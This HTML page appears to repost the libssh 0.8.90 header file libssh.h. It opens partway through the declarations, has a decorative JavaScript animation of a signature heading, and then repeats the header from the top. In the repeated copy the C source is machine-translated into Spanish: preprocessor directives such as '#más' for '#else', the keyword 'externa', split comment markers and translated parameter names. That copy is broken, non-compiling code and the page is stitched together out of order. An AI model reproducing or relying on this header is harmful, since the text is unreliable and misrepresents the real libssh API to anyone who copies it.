ssh_set_counters(ssh_session session, ssh_counter scounter,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>733  ssh_counter rcounter);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>734 LIBSSH_API void ssh_set_fd_except(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>735 LIBSSH_API void ssh_set_fd_toread(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>736 LIBSSH_API void ssh_set_fd_towrite(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>737 LIBSSH_API void ssh_silent_disconnect(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>738 LIBSSH_API int ssh_set_pcap_file(ssh_session session, ssh_pcap_file pcapfile);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>739 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>740 /* USERAUTH */</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>741 LIBSSH_API int ssh_userauth_none(ssh_session session, const char *username);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>742 LIBSSH_API int ssh_userauth_list(ssh_session session, const char *username);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>743 LIBSSH_API int ssh_userauth_try_publickey(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>744  const char *username,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>745  const ssh_key pubkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>746 LIBSSH_API int ssh_userauth_publickey(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>747  const char *username,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>748  const ssh_key privkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>749 #ifndef _WIN32</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>750 LIBSSH_API int ssh_userauth_agent(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>751  const char *username);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>752 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>753 LIBSSH_API int ssh_userauth_publickey_auto(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>754  const char *username,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>755  const char *passphrase);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>756 LIBSSH_API int ssh_userauth_password(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>757  const char *username,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>758  const char *password);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>759 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>760 LIBSSH_API int ssh_userauth_kbdint(ssh_session session, const char *user, const char *submethods);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>761 LIBSSH_API const char *ssh_userauth_kbdint_getinstruction(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>762 LIBSSH_API const char *ssh_userauth_kbdint_getname(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>763 LIBSSH_API int ssh_userauth_kbdint_getnprompts(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>764 LIBSSH_API const char *ssh_userauth_kbdint_getprompt(ssh_session session, unsigned int i, char *echo);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>765 LIBSSH_API int ssh_userauth_kbdint_getnanswers(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>766 LIBSSH_API const char *ssh_userauth_kbdint_getanswer(ssh_session session, unsigned int i);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>767 LIBSSH_API int ssh_userauth_kbdint_setanswer(ssh_session session, unsigned int i,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>768  const char *answer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>769 LIBSSH_API int ssh_userauth_gssapi(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>770 LIBSSH_API const char *ssh_version(int req_version);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>771 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>772 LIBSSH_API void ssh_string_burn(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>773 LIBSSH_API ssh_string ssh_string_copy(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>774 LIBSSH_API void *ssh_string_data(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>775 LIBSSH_API int ssh_string_fill(ssh_string str, const void *data, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>776 #define SSH_STRING_FREE(x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>777  do { if ((x) != NULL) { ssh_string_free(x); x = NULL; } } while(0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>778 LIBSSH_API void ssh_string_free(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>779 LIBSSH_API ssh_string ssh_string_from_char(const char *what);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>780 LIBSSH_API size_t ssh_string_len(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>781 LIBSSH_API ssh_string ssh_string_new(size_t size);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>782 LIBSSH_API const char *ssh_string_get_char(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>783 LIBSSH_API char *ssh_string_to_char(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>784 #define SSH_STRING_FREE_CHAR(x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>785  do { if ((x) != NULL) { ssh_string_free_char(x); x = NULL; } } while(0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>786 LIBSSH_API void ssh_string_free_char(char *s);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>787 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>788 LIBSSH_API int ssh_getpass(const char *prompt, char *buf, size_t len, int echo,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>789  int verify);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>790 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>791 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>792 typedef int (*ssh_event_callback)(socket_t fd, int revents, void *userdata);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>793 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>794 LIBSSH_API ssh_event ssh_event_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>795 LIBSSH_API int ssh_event_add_fd(ssh_event event, socket_t fd, short events,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>796  ssh_event_callback cb, void *userdata);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>797 LIBSSH_API int ssh_event_add_session(ssh_event event, ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>798 LIBSSH_API int ssh_event_add_connector(ssh_event event, ssh_connector connector);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>799 LIBSSH_API int ssh_event_dopoll(ssh_event event, int timeout);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>800 LIBSSH_API int ssh_event_remove_fd(ssh_event event, socket_t fd);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>801 LIBSSH_API int ssh_event_remove_session(ssh_event event, ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>802 LIBSSH_API int ssh_event_remove_connector(ssh_event event, ssh_connector connector);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>803 LIBSSH_API void ssh_event_free(ssh_event event);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>804 LIBSSH_API const char* ssh_get_clientbanner(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>805 LIBSSH_API const char* ssh_get_serverbanner(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>806 LIBSSH_API const char* ssh_get_kex_algo(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>807 LIBSSH_API const char* ssh_get_cipher_in(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>808 LIBSSH_API const char* ssh_get_cipher_out(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>809 LIBSSH_API const char* ssh_get_hmac_in(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>810 LIBSSH_API const char* ssh_get_hmac_out(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>811 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>812 LIBSSH_API ssh_buffer ssh_buffer_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>813 LIBSSH_API void ssh_buffer_free(ssh_buffer buffer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>814 #define SSH_BUFFER_FREE(x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>815  do { if ((x) != NULL) { ssh_buffer_free(x); x = NULL; } } while(0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>816 LIBSSH_API int ssh_buffer_reinit(ssh_buffer buffer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>817 LIBSSH_API int ssh_buffer_add_data(ssh_buffer buffer, const void *data, uint32_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>818 LIBSSH_API uint32_t ssh_buffer_get_data(ssh_buffer buffer, void *data, uint32_t requestedlen);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>819 LIBSSH_API void *ssh_buffer_get(ssh_buffer buffer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>820 LIBSSH_API uint32_t ssh_buffer_get_len(ssh_buffer buffer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>821 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>822 #ifndef LIBSSH_LEGACY_0_4</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>823 #include </span><span style='color:#02d045; '>"</span>libssh<span style='color:#d2cd86; '>/</span>legacy<span style='color:#d2cd86; '>.</span>h<span style='color:#02d045; '>"</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>824 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>825 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>826 #ifdef __cplusplus</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>827 }</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>828 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>829 #endif /* _LIBSSH_H */&lt;/small></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&lt;/body></span> <span style='color:#00c4c4; '>&lt;/html></span> <span style='color:#00c4c4; '>&lt;!-- Juan Angel Luzardo Muslera / montevideo Uruguay --></span> </pre> <!--Created using ToHtml.com on 2020-08-26 03:46:37 UTC --> <h2 id="fly">White flag Juan Angel / Montevideo Uruguay</h2> <script type="text/javascript"> message = document.getElementById("fly").innerHTML; distance = 50; speed = 200; var txt="", num=0, num4=0, flyofle="", flyofwi="", flyofto="", fly=document.getElementById("fly"); function stfly() { for(i=0;i != message.length;i++) { if(message.charAt(i) != "$") txt += "<span style='position:relative;visibility:hidden;' id='n"+i+"'>"+message.charAt(i)+"<\/span>"; else txt += "<br>"; } fly.innerHTML = txt; txt = ""; flyofle = fly.offsetLeft; flyofwi = fly.offsetWidth; flyofto = fly.offsetTop; fly2b(); } function fly2b() { if(num4 != message.length) { if(message.charAt(num4) != "$") { var then = document.getElementById("n" + num4); then.style.left = flyofle - then.offsetLeft + flyofwi / 2 + 'px'; then.style.top = flyofto - then.offsetTop + distance + 'px'; fly3(then.id, parseInt(then.style.left), parseInt(then.style.left) / 5, parseInt(then.style.top), parseInt(then.style.top) / 5); } num4++; setTimeout("fly2b()", speed); } } function fly3(target,lef2,num2,top2,num3) { if((Math.floor(top2) != 0 && Math.floor(top2) != -1) || (Math.floor(lef2) != 0 && Math.floor(lef2) != -1)) { if(lef2 >= 0) lef2 -= num2; else lef2 += num2 * -1; if(Math.floor(lef2) != -1) { document.getElementById(target).style.visibility = "visible"; document.getElementById(target).style.left = Math.floor(lef2) + 'px'; } else { document.getElementById(target).style.visibility = "visible"; document.getElementById(target).style.left = Math.floor(lef2 + 1) + 'px'; } if(lef2 >= 0) top2 -= num3 else top2 += num3 * -1; if(Math.floor(top2) != -1) document.getElementById(target).style.top = Math.floor(top2) + 'px'; else document.getElementById(target).style.top = Math.floor(top2 + 1) + 'px'; setTimeout("fly3('"+target+"',"+lef2+","+num2+","+top2+","+num3+")",50) } } stfly() </script> <h2>LIBRARY SSH</h2> <strong><h1>libssh 0.8.90</h1></strong><br /> <p> <button><li>La biblioteca SSH</li></button> <button><i>PAGINA PRINCIPAL</li></button> <button><li>PÁGINAS RELACIONADAS</li></button> <button><li>M�"DULOS</li></button> <button><li>ESTRUCTURAS DE DATOS</li></button> <button><li>ARCHIVOS</li></button> </p> <ul> <button><h3> incluir </h3></button> <button><h3> libssh </h3></button> <button><h3> libssh.h </h3></button> <br /> </ul>   <small>Esta biblioteca es software gratuito; puedes redistribuirlo y / o 7   * modificarlo según los términos del GNU Lesser General Public 8   * Licencia publicada por la Free Software Foundation; ya sea 9   * versión 2.1 de la Licencia, o (a su elección) cualquier versión posterior. 10  * 11  * Esta biblioteca se distribuye con la esperanza de que sea útil, 12  * pero SIN NINGUNA GARANTÍA; sin siquiera la garantía implícita de   21  #ifndef _LIBSSH_H 22  #define _LIBSSH_H 23  24  #si está definido _WIN32 || definido __CYGWIN__ 25   #ifdef LIBSSH_STATIC 26   #define LIBSSH_API 27   #más 28   #ifdef LIBSSH_EXPORTS 29   #ifdef __GNUC__ 30   #define LIBSSH_API __attribute __ ((dllexport)) 31   #más 32   #define LIBSSH_API __declspec (dllexport) 33   #endif 34   #más 35   #ifdef __GNUC__ 36   #define LIBSSH_API __attribute __ ((dllimport)) 37   #más 38   #define LIBSSH_API __declspec (dllimport) 39   #endif 40   #endif 41   #endif 42  #más 43   #if __GNUC__> = 4 &&! Definido (__ OS2__) 44   #define LIBSSH_API __attribute __ ((visibilidad ("predeterminado"))) 45   #más 46   #define LIBSSH_API 47   #endif 48  #endif 49  50  #ifdef _MSC_VER 51   / * Visual Studio no tiene inttypes.h así que no conoce uint32_t * / 52   typedef int int32_t; 53   typedef unsigned int uint32_t; 54   typedef unsigned short uint16_t; 55   typedef unsigned char uint8_t; 56   typedef unsigned long long uint64_t; 57   typedef int mode_t; 58  #else / * _MSC_VER * / 59   #include <unistd.h> 60   #include <inttypes.h> 61   #include <sys / types.h> 62  #endif / * _MSC_VER * / 63  64  #ifdef _WIN32 65   #include <winsock2.h> 66  #else / * _WIN32 * / 67  #include <sys / select.h> / * para fd_set * * / 68  #include <netdb.h> 69  #endif / * _WIN32 * / 70  71  #define SSH_STRINGIFY (s) SSH_TOSTRING (s) 72  #define SSH_TOSTRING (s) #s 73  74  / * macros de versión libssh * / 75  #define SSH_VERSION_INT (a, b, c) ((a) << 16 | (b) << 8 | (c)) 76  #define SSH_VERSION_DOT (a, b, c) a ##. ## b ##. ## c 77  #define SSH_VERSION (a, b, c) SSH_VERSION_DOT (a, b, c) 78  79  / * versión libssh * / 80  #define LIBSSH_VERSION_MAJOR 0 81  #define LIBSSH_VERSION_MINOR 8 82  #define LIBSSH_VERSION_MICRO 90 83  84  #define LIBSSH_VERSION_INT SSH_VERSION_INT (LIBSSH_VERSION_MAJOR, \ 85   LIBSSH_VERSION_MINOR, \ 86   LIBSSH_VERSION_MICRO) 87  #define LIBSSH_VERSION SSH_VERSION (LIBSSH_VERSION_MAJOR, \ 88   LIBSSH_VERSION_MINOR, \ 89   LIBSSH_VERSION_MICRO) 90  91  / * GCC tiene verificación de atributo de tipo printf. * / 92  #ifdef __GNUC__ 93  #define PRINTF_ATTRIBUTE (a, b) __attribute__ ((__format__ (__printf__, a, b))) 94  #más 95  #define PRINTF_ATTRIBUTE (a, b) 96  #endif / * __GNUC__ * / 97  98  #ifdef __GNUC__ 99  #define SSH_DEPRECATED __attribute__ ((obsoleto)) 100  #más 101  #define SSH_DEPRECATED 102  #endif 103  104  #ifdef __cplusplus 105  externa "C" { 106  #endif 107  108  struct ssh_counter_struct { 109   uint64_t in_bytes; 110   uint64_t out_bytes; 111   uint64_t in_packets; 112   uint64_t out_packets; 113  }; 114  typedef struct ssh_counter_struct * ssh_counter ; 115  116  typedef struct ssh_agent_struct * ssh_agent ; 117  typedef struct ssh_buffer_struct * ssh_buffer ; 118  typedef struct ssh_channel_struct * ssh_channel ; 119  typedef struct ssh_message_struct * ssh_message ; 120  typedef struct ssh_pcap_file_struct * ssh_pcap_file; 121  typedef struct ssh_key_struct * ssh_key ; 122  typedef struct ssh_scp_struct * ssh_scp ; 123  typedef struct ssh_session_struct * ssh_session ; 124  typedef struct ssh_string_struct * ssh_string ; 125  typedef struct ssh_event_struct * ssh_event ; 126  typedef struct ssh_connector_struct * ssh_connector ; 127  typedef void * ssh_gssapi_creds; 128  129  / * Tipo de enchufe * / 130  #ifdef _WIN32 131  #ifndef socket_t 132  typedef SOCKET socket_t; 133  #endif / * socket_t * / 134  #else / * _WIN32 * / 135  #ifndef socket_t 136  typedef int socket_t; 137  #endif 138  #endif / * _WIN32 * / 139  140  #define SSH_INVALID_SOCKET ((socket_t) -1) 141  142  / * las compensaciones de los métodos * / 143  enum ssh_kex_types_e { 144   SSH_KEX = 0, 145   SSH_HOSTKEYS, 146   SSH_CRYPT_C_S, 147   SSH_CRYPT_S_C, 148   SSH_MAC_C_S, 149   SSH_MAC_S_C, 150   SSH_COMP_C_S, 151   SSH_COMP_S_C, 152   SSH_LANG_C_S, 153   SSH_LANG_S_C 154  }; 155  156  #define SSH_CRYPT 2 157  #define SSH_MAC 3 158  #define SSH_COMP 4 159  #define SSH_LANG 5 160  161  enum ssh_auth_e { 162   SSH_AUTH_SUCCESS = 0, 163   SSH_AUTH_DENIED, 164   SSH_AUTH_PARTIAL, 165   SSH_AUTH_INFO, 166   SSH_AUTH_AGAIN, 167   SSH_AUTH_ERROR = -1 168  }; 169  170  / * banderas de autenticación * / 171  #define SSH_AUTH_METHOD_UNKNOWN 0 172  #define SSH_AUTH_METHOD_NONE 0x0001 173  #define SSH_AUTH_METHOD_PASSWORD 0x0002 174  #define SSH_AUTH_METHOD_PUBLICKEY 0x0004 175  #define SSH_AUTH_METHOD_HOSTBASED 0x0008 176  #define SSH_AUTH_METHOD_INTERACTIVE 0x0010 177  #define SSH_AUTH_METHOD_GSSAPI_MIC 0x0020 178  179  / * mensajes * / 180  enum ssh_requests_e { 181   SSH_REQUEST_AUTH = 1, 182   SSH_REQUEST_CHANNEL_OPEN, 183   SSH_REQUEST_CHANNEL, 184   SSH_REQUEST_SERVICE, 185   SSH_REQUEST_GLOBAL 186  }; 187  188  enum ssh_channel_type_e { 189   SSH_CHANNEL_UNKNOWN = 0, 190   SSH_CHANNEL_SESSION, 191   SSH_CHANNEL_DIRECT_TCPIP, 192   SSH_CHANNEL_FORWARDED_TCPIP, 193   SSH_CHANNEL_X11, 194   SSH_CHANNEL_AUTH_AGENT 195  }; 196  197  enum ssh_channel_requests_e { 198   SSH_CHANNEL_REQUEST_UNKNOWN = 0, 199   SSH_CHANNEL_REQUEST_PTY, 200   SSH_CHANNEL_REQUEST_EXEC, 201   SSH_CHANNEL_REQUEST_SHELL, 202   SSH_CHANNEL_REQUEST_ENV, 203   SSH_CHANNEL_REQUEST_SUBSYSTEM, 204   SSH_CHANNEL_REQUEST_WINDOW_CHANGE, 205   SSH_CHANNEL_REQUEST_X11 206  }; 207  208  enum ssh_global_requests_e { 209   SSH_GLOBAL_REQUEST_UNKNOWN = 0, 210   SSH_GLOBAL_REQUEST_TCPIP_FORWARD, 211   SSH_GLOBAL_REQUEST_CANCEL_TCPIP_FORWARD, 212   SSH_GLOBAL_REQUEST_KEEPALIVE 213  }; 214  215  enum ssh_publickey_state_e { 216   SSH_PUBLICKEY_STATE_ERROR = -1, 217   SSH_PUBLICKEY_STATE_NONE = 0, 218   SSH_PUBLICKEY_STATE_VALID = 1, 219   SSH_PUBLICKEY_STATE_WRONG = 2 220  }; 221  222  / * Indicadores de estado * / 224  #define SSH_CLOSED 0x01 225  226  #define SSH_READ_PENDING 0x02 227  228  #define SSH_CLOSED_ERROR 0x04 229  230  #define SSH_WRITE_PENDING 0x08 231  232  enum ssh_server_known_e { 233   SSH_SERVER_ERROR = -1, 234   SSH_SERVER_NOT_KNOWN = 0, 235   SSH_SERVER_KNOWN_OK, 236   SSH_SERVER_KNOWN_CHANGED, 237   SSH_SERVER_FOUND_OTHER, 238   SSH_SERVER_FILE_NOT_FOUND 239  }; 240  241  enum ssh_known_hosts_e { 245   SSH_KNOWN_HOSTS_ERROR = -2, 246  251   SSH_KNOWN_HOSTS_NOT_FOUND = -1, 252  257   SSH_KNOWN_HOSTS_UNKNOWN = 0, 258  262   SSH_KNOWN_HOSTS_OK, 263  269   SSH_KNOWN_HOSTS_CHANGED, 270  275   SSH_KNOWN_HOSTS_OTHER, 276  }; 277  278  #ifndef MD5_DIGEST_LEN 279   #define MD5_DIGEST_LEN 16 280  #endif 281  / * errores * / 282  283  enum ssh_error_types_e { 284   SSH_NO_ERROR = 0, 285   SSH_REQUEST_DENIED, 286   SSH_FATAL, 287   SSH_EINTR 288  }; 289  290  / * algunos tipos de claves * / 291  enum ssh_keytypes_e { 292   SSH_KEYTYPE_UNKNOWN = 0, 293   SSH_KEYTYPE_DSS = 1, 294   SSH_KEYTYPE_RSA, 295   SSH_KEYTYPE_RSA1, 296   SSH_KEYTYPE_ECDSA, 297   SSH_KEYTYPE_ED25519, 298   SSH_KEYTYPE_DSS_CERT01, 299   SSH_KEYTYPE_RSA_CERT01 300  }; 301  302  enum ssh_keycmp_e { 303   SSH_KEY_CMP_PUBLIC = 0, 304   SSH_KEY_CMP_PRIVATE 305  }; 306  307  #define SSH_ADDRSTRLEN 46 308  309  struct ssh_knownhosts_entry { 310   char * nombre de host; 311   char * sin analizar; 312   ssh_key publickey; 313   char * comentario; 314  }; 315  316  317  / * Códigos de retorno de error * / 318  #define SSH_OK 0 / * Sin error * / 319  #define SSH_ERROR -1 / * Error de algún tipo * / 320  #define SSH_AGAIN -2 / * La llamada sin bloqueo debe repetirse * / 321  #define SSH_EOF -127 / * Ya tenemos un eof * / 322  329  enum { 332  SSH_LOG_NOLOG = 0, 335  SSH_LOG_WARNING , 338  SSH_LOG_PROTOCOL , 341  SSH_LOG_PACKET , 344  SSH_LOG_FUNCTIONS 345  }; 347  #define SSH_LOG_RARE SSH_LOG_WARNING 348  357  #define SSH_LOG_NONE 0 358  359  #define SSH_LOG_WARN 1 360  361  #define SSH_LOG_INFO 2 362  363  #define SSH_LOG_DEBUG 3 364  365  #define SSH_LOG_TRACE 4 366  369  enum ssh_options_e { 370   SSH_OPTIONS_HOST, 371   SSH_OPTIONS_PORT, 372   SSH_OPTIONS_PORT_STR, 373   SSH_OPTIONS_FD, 374   SSH_OPTIONS_USER, 375   SSH_OPTIONS_SSH_DIR, 376   SSH_OPTIONS_IDENTITY, 377   SSH_OPTIONS_ADD_IDENTITY, 378   SSH_OPTIONS_KNOWNHOSTS, 379   SSH_OPTIONS_TIMEOUT, 380   SSH_OPTIONS_TIMEOUT_USEC, 381   SSH_OPTIONS_SSH1, 382   SSH_OPTIONS_SSH2, 383   SSH_OPTIONS_LOG_VERBOSITY, 384   SSH_OPTIONS_LOG_VERBOSITY_STR, 385   SSH_OPTIONS_CIPHERS_C_S, 386   SSH_OPTIONS_CIPHERS_S_C, 387   SSH_OPTIONS_COMPRESSION_C_S, 388   SSH_OPTIONS_COMPRESSION_S_C, 389   SSH_OPTIONS_PROXYCOMMAND, 390   SSH_OPTIONS_BINDADDR, 391   SSH_OPTIONS_STRICTHOSTKEYCHECK, 392   SSH_OPTIONS_COMPRESSION, 393   SSH_OPTIONS_COMPRESSION_LEVEL, 394   SSH_OPTIONS_KEY_EXCHANGE, 395   SSH_OPTIONS_HOSTKEYS, 396   SSH_OPTIONS_GSSAPI_SERVER_IDENTITY, 397   SSH_OPTIONS_GSSAPI_CLIENT_IDENTITY, 398   SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS, 399   SSH_OPTIONS_HMAC_C_S, 400   SSH_OPTIONS_HMAC_S_C, 401   SSH_OPTIONS_PASSWORD_AUTH, 402   SSH_OPTIONS_PUBKEY_AUTH, 403   SSH_OPTIONS_KBDINT_AUTH, 404   SSH_OPTIONS_GSSAPI_AUTH, 405   SSH_OPTIONS_GLOBAL_KNOWNHOSTS, 406   SSH_OPTIONS_NODELAY, 407   SSH_OPTIONS_PUBLICKEY_ACCEPTED_TYPES, 408   SSH_OPTIONS_PROCESS_CONFIG, 409   SSH_OPTIONS_REKEY_DATA, 410   SSH_OPTIONS_REKEY_TIME, 411  }; 412  413  enum { 415   SSH_SCP_WRITE, 417   SSH_SCP_READ, 418   SSH_SCP_RECURSIVE = 0x10 419  }; 420  421  enum ssh_scp_request_types { 423   SSH_SCP_REQUEST_NEWDIR = 1, 425   SSH_SCP_REQUEST_NEWFILE, 427   SSH_SCP_REQUEST_EOF, 429   SSH_SCP_REQUEST_ENDDIR, 431   SSH_SCP_REQUEST_WARNING 432  }; 433  434  enum ssh_connector_flags_e { 436   SSH_CONNECTOR_STDOUT = 1, 438   SSH_CONNECTOR_STDERR = 2, 440   SSH_CONNECTOR_BOTH = 3 441  }; 442  443  LIBSSH_API int ssh_blocking_flush ( sesión ssh_session , int timeout); 444  LIBSSH_API ssh_channel ssh_channel_accept_x11 ( canal ssh_channel , int timeout_ms); 445  LIBSSH_API int ssh_channel_change_pty_size ( canal ssh_channel , int cols, int filas); 446  LIBSSH_API int ssh_channel_close ( canal ssh_channel ); 447  LIBSSH_API void ssh_channel_free ( canal ssh_channel ); 448  LIBSSH_API int ssh_channel_get_exit_status ( canal ssh_channel ); 449  LIBSSH_API ssh_session ssh_channel_get_session ( canal ssh_channel ); 450  LIBSSH_API int ssh_channel_is_closed ( canal ssh_channel ); 451  LIBSSH_API int ssh_channel_is_eof ( canal ssh_channel ); 452  LIBSSH_API int ssh_channel_is_open ( canal ssh_channel ); 453  LIBSSH_API ssh_channel ssh_channel_new ( sesión ssh_session ); 454  LIBSSH_API int ssh_channel_open_auth_agent ( canal ssh_channel ); 455  LIBSSH_API int ssh_channel_open_forward ( canal ssh_channel , const char * host remoto, 456   int puerto remoto, const char * sourcehost, int localport); 457  LIBSSH_API int ssh_channel_open_session ( canal ssh_channel ); 458  LIBSSH_API int ssh_channel_open_x11 ( canal ssh_channel , const char * orig_addr, int orig_port); 459  LIBSSH_API int ssh_channel_poll ( canal ssh_channel , int is_stderr); 460  LIBSSH_API int ssh_channel_poll_timeout ( canal ssh_channel , int timeout, int is_stderr); 461  LIBSSH_API int ssh_channel_read ( canal ssh_channel , void * dest, uint32_t count, int is_stderr); 462  LIBSSH_API int ssh_channel_read_timeout ( ssh_channel channel, void * dest, uint32_t count, int is_stderr, int timeout_ms); 463  LIBSSH_API int ssh_channel_read_nonblocking ( canal ssh_channel , void * dest, uint32_t count, 464   int is_stderr); 465  LIBSSH_API int ssh_channel_request_env ( canal ssh_channel , const char * nombre, const char * valor); 466  LIBSSH_API int ssh_channel_request_exec ( canal ssh_channel , const char * cmd); 467  LIBSSH_API int ssh_channel_request_pty ( canal ssh_channel ); 468  LIBSSH_API int ssh_channel_request_pty_size ( canal ssh_channel , const char * term, 469   int cols, int filas); 470  LIBSSH_API int ssh_channel_request_shell ( canal ssh_channel ); 471  LIBSSH_API int ssh_channel_request_send_signal ( canal ssh_channel , const char * signum); 472  LIBSSH_API int ssh_channel_request_send_break ( ssh_channel canal, longitud uint32_t); 473  LIBSSH_API int ssh_channel_request_sftp ( canal ssh_channel ); 474  LIBSSH_API int ssh_channel_request_subsystem ( canal ssh_channel , const char * subsistema); 475  LIBSSH_API int ssh_channel_request_x11 ( canal ssh_channel , int single_connection, const char * protocolo, 476   const char * cookie, int número_pantalla); 477  LIBSSH_API int ssh_channel_request_auth_agent ( canal ssh_channel ); 478  LIBSSH_API int ssh_channel_send_eof ( canal ssh_channel ); 479  LIBSSH_API int ssh_channel_select ( ssh_channel * readchans, ssh_channel * writechans, ssh_channel * exceptchans, struct 480   timeval * tiempo de espera); 481  LIBSSH_API void ssh_channel_set_blocking ( canal ssh_channel , bloqueo int ); 482  LIBSSH_API void 